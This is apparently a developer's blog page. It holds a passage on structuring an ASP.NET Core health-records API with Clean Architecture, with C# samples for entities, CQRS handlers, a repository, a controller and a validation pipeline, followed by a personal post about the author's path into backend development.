Database independence: Business rules aren’t bound to a specific database

LifeFlow Project Structure

For the LifeFlow project, I structured the solution as follows:

LifeFlow.Domain        // Entities, value objects, domain events
LifeFlow.Application   // Use cases, interfaces, DTOs
LifeFlow.Infrastructure// Data access, external services 
LifeFlow.API           // Controllers, middleware, DI setup

Domain Layer

The domain layer contains business entities with behavior and business rules:

// Domain entity with behavior
public class HealthRecord
{
    public Guid Id { get; private set; }
    public Guid UserId { get; private set; }
    public DateTime Timestamp { get; private set; }
    public BloodPressure BloodPressure { get; private set; }
    public int HeartRate { get; private set; }
    
    // Domain behavior
    public void UpdateVitals(BloodPressure newBP, int newHeartRate)
    {
        if (newHeartRate <= 0)
            throw new DomainException("Heart rate must be positive");
            
        BloodPressure = newBP;
        HeartRate = newHeartRate;
    }
    
    // Factory method
    public static HealthRecord Create(Guid userId, BloodPressure bp, int heartRate)
    {
        // Validate and create
        return new HealthRecord
        {
            Id = Guid.NewGuid(),
            UserId = userId,
            Timestamp = DateTime.UtcNow,
            BloodPressure = bp,
            HeartRate = heartRate
        };
    }
}

Notice that domain entities:

Encapsulate state with private setters
Validate their invariants
Don’t depend on any infrastructure concerns

Application Layer

The application layer defines use cases using the CQRS pattern with MediatR:

// Query
public class GetUserHealthRecordsQuery : IRequest<List<HealthRecordDto>>
{
    public Guid UserId { get; set; }
}

// Query Handler
public class GetUserHealthRecordsHandler 
    : IRequestHandler<GetUserHealthRecordsQuery, List<HealthRecordDto>>
{
    private readonly IHealthRecordRepository _repository;
    private readonly IMapper _mapper;
    
    public GetUserHealthRecordsHandler(
        IHealthRecordRepository repository, 
        IMapper mapper)
    {
        _repository = repository;
        _mapper = mapper;
    }
    
    public async Task<List<HealthRecordDto>> Handle(
        GetUserHealthRecordsQuery request, 
        CancellationToken cancellationToken)
    {
        var records = await _repository.GetByUserIdAsync(
            request.UserId, cancellationToken);
            
        return _mapper.Map<List<HealthRecordDto>>(records);
    }
}

For LifeFlow, this CQRS approach:

Separates read and write operations
Makes queries more efficient (read models)
Improves scalability (separate read/write services)

Infrastructure Layer

The infrastructure layer implements the interfaces defined in the application layer:

public class EntityFrameworkHealthRecordRepository : IHealthRecordRepository
{
    private readonly AppDbContext _context;
    
    public EntityFrameworkHealthRecordRepository(AppDbContext context)
    {
        _context = context;
    }
    
    public async Task<List<HealthRecord>> GetByUserIdAsync(
        Guid userId, 
        CancellationToken cancellationToken)
    {
        return await _context.HealthRecords
            .Where(hr => hr.UserId == userId)
            .OrderByDescending(hr => hr.Timestamp)
            .ToListAsync(cancellationToken);
    }
    
    // Other repository methods...
}

API Layer

Finally, the API layer is kept thin and focused on HTTP concerns:

[ApiController]
[Route("api/[controller]")]
public class HealthRecordsController : ControllerBase
{
    private readonly IMediator _mediator;
    
    public HealthRecordsController(IMediator mediator)
    {
        _mediator = mediator;
    }
    
    [HttpGet("user/{userId}")]
    [Authorize]
    public async Task<ActionResult<List<HealthRecordDto>>> GetUserRecords(
        Guid userId)
    {
        // Authorization check
        if (User.GetUserId() != userId.ToString() && 
            !User.IsInRole("Admin"))
        {
            return Forbid();
        }
        
        var query = new GetUserHealthRecordsQuery { UserId = userId };
        var result = await _mediator.Send(query);
        
        return Ok(result);
    }
    
    // Other endpoints...
}

Key Technical Decisions

MediatR: For implementing CQRS pattern to separate queries from commands
FluentValidation: For request validation before hitting handlers
AutoMapper: For mapping between domain entities and DTOs
Entity Framework Core: With repository pattern for data access
Custom Middleware: For consistent exception handling and response formatting

Cross-Cutting Concerns

Request Validation Pipeline

For LifeFlow, I implemented a validation pipeline using MediatR behaviors:

public class ValidationBehavior<TRequest, TResponse> 
    : IPipelineBehavior<TRequest, TResponse>
{
    private readonly IEnumerable<IValidator<TRequest>> _validators;
    
    public ValidationBehavior(IEnumerable<IValidator<TRequest>> validators)
    {
        _validators = validators;
    }
    
    public async Task<TResponse> Handle(
        TRequest request, 
        RequestHandlerDelegate<TResponse> next, 
        CancellationToken cancellationToken)
    {
        if (_validators.Any())
        {
            var context = new ValidationContext<TRequest>(request);
            
            var validationResults = await Task.WhenAll(
                _validators.Select(v => 
                    v.ValidateAsync(context, cancellationToken)));
                    
            var failures = validationResults
                .SelectMany(r => r.Errors)
                .Where(f => f != null)
                .ToList();
                
            if (failures.Count != 0)
                throw new ValidationException(failures);
        }
        
        return await next();
    }
}

Performance Monitoring

To monitor API performance, I integrated Application Insights:

public void ConfigureServices(IServiceCollection services)
{
    // Add Application Insights telemetry
    services.AddApplicationInsightsTelemetry();
    
    // Configure adaptive sampling
    services.ConfigureTelemetryModule<DependencyTrackingTelemetryModule>(
        (module, o) => { module.EnableSqlCommandTextInstrumentation = true; });
        
    // Rest of configuration...
}

Lessons Learned

After implementing this architecture in the LifeFlow project, I’ve learned:

Start simple: Don’t over-engineer early; add complexity as needed
Test business logic first: Focus tests on domain and application layers
Use vertical slices: Organize by feature, not by layer, for better developer experience
Embrace domain events: For decoupling services and implementing eventual consistency
Consider read models: Separate read models can greatly improve query performance

Conclusion

Clean Architecture with ASP.NET Core has provided a solid foundation for the LifeFlow project. The clear separation of concerns allows the system to evolve with changing requirements while maintaining quality and testability.

In future posts, I’ll dive deeper into specific aspects like domain events, CQRS optimizations, and performance tuning for ASP.NET Core APIs.

What’s your experience with Clean Architecture in .NET projects? Share your thoughts in the comments.

My Journey into Backend Development

2024-03-01T00:00:00+00:00

When I began my computing journey in 2016 at the age of 14, installing Ubuntu Unity on my first computer, I never imagined how deep I would venture into the world of software development. Today, as a backend engineer focused on building resilient, scalable systems, I’d like to share some reflections on my path.

The Linux Beginning

My first experience with Linux was transformative. The ability to peek under the hood of an operating system, to modify and truly own my computing experience, sparked a curiosity that would shape my career path. I spent countless hours in terminal sessions, breaking and fixing my system, each cycle teaching me something new.

From those early days tinkering with bash scripts and system configurations, I developed an appreciation for robust, well-designed systems—a perspective that would later influence my approach to backend development.

Finding My Focus

As I explored different areas of software development, I found myself consistently drawn to the backend—the intricate systems that power applications but remain invisible to most users. There’s something deeply satisfying about designing efficient data flows, optimizing database queries, and building APIs that enable seamless experiences.

My academic journey formalized this interest, but the most valuable learning came from hands-on projects and internships. Working with real-world constraints—performance requirements, security considerations, scalability challenges—reinforced my passion for backend engineering.

The Tools That Shaped Me

Over the years, I’ve worked with various languages and frameworks, each teaching me different lessons about software design:

C# and .NET: Showed me the power of a comprehensive, well-designed ecosystem
Java: Taught me object-oriented principles and enterprise patterns
Python: Demonstrated the value of readability and rapid prototyping
Go: Introduced me to concurrency models and simplicity in design
F#: Currently opening my mind to functional programming paradigms

Beyond languages, my experience with cloud platforms and infrastructure tools has been equally formative. Learning to leverage AWS services, containerization with Docker, and infrastructure as code with Terraform has expanded my definition of what backend development encompasses.

Looking Forward

As I continue to grow as a developer, I’m particularly excited about:

Deepening my expertise in distributed systems design
Exploring functional programming concepts for more robust applications
Contributing to open-source projects that shape the future of backend development
Mentoring the next generation of developers starting their own journeys

The backend landscape is constantly evolving, with new challenges and possibilities emerging regularly. This perpetual learning cycle—this need to constantly adapt and grow—is perhaps what I find most rewarding about the field.

I’ll be sharing more specific technical insights in future posts, focusing on practical solutions to real-world backend challenges. Until then, I’d love to hear about your own development journey in the comments.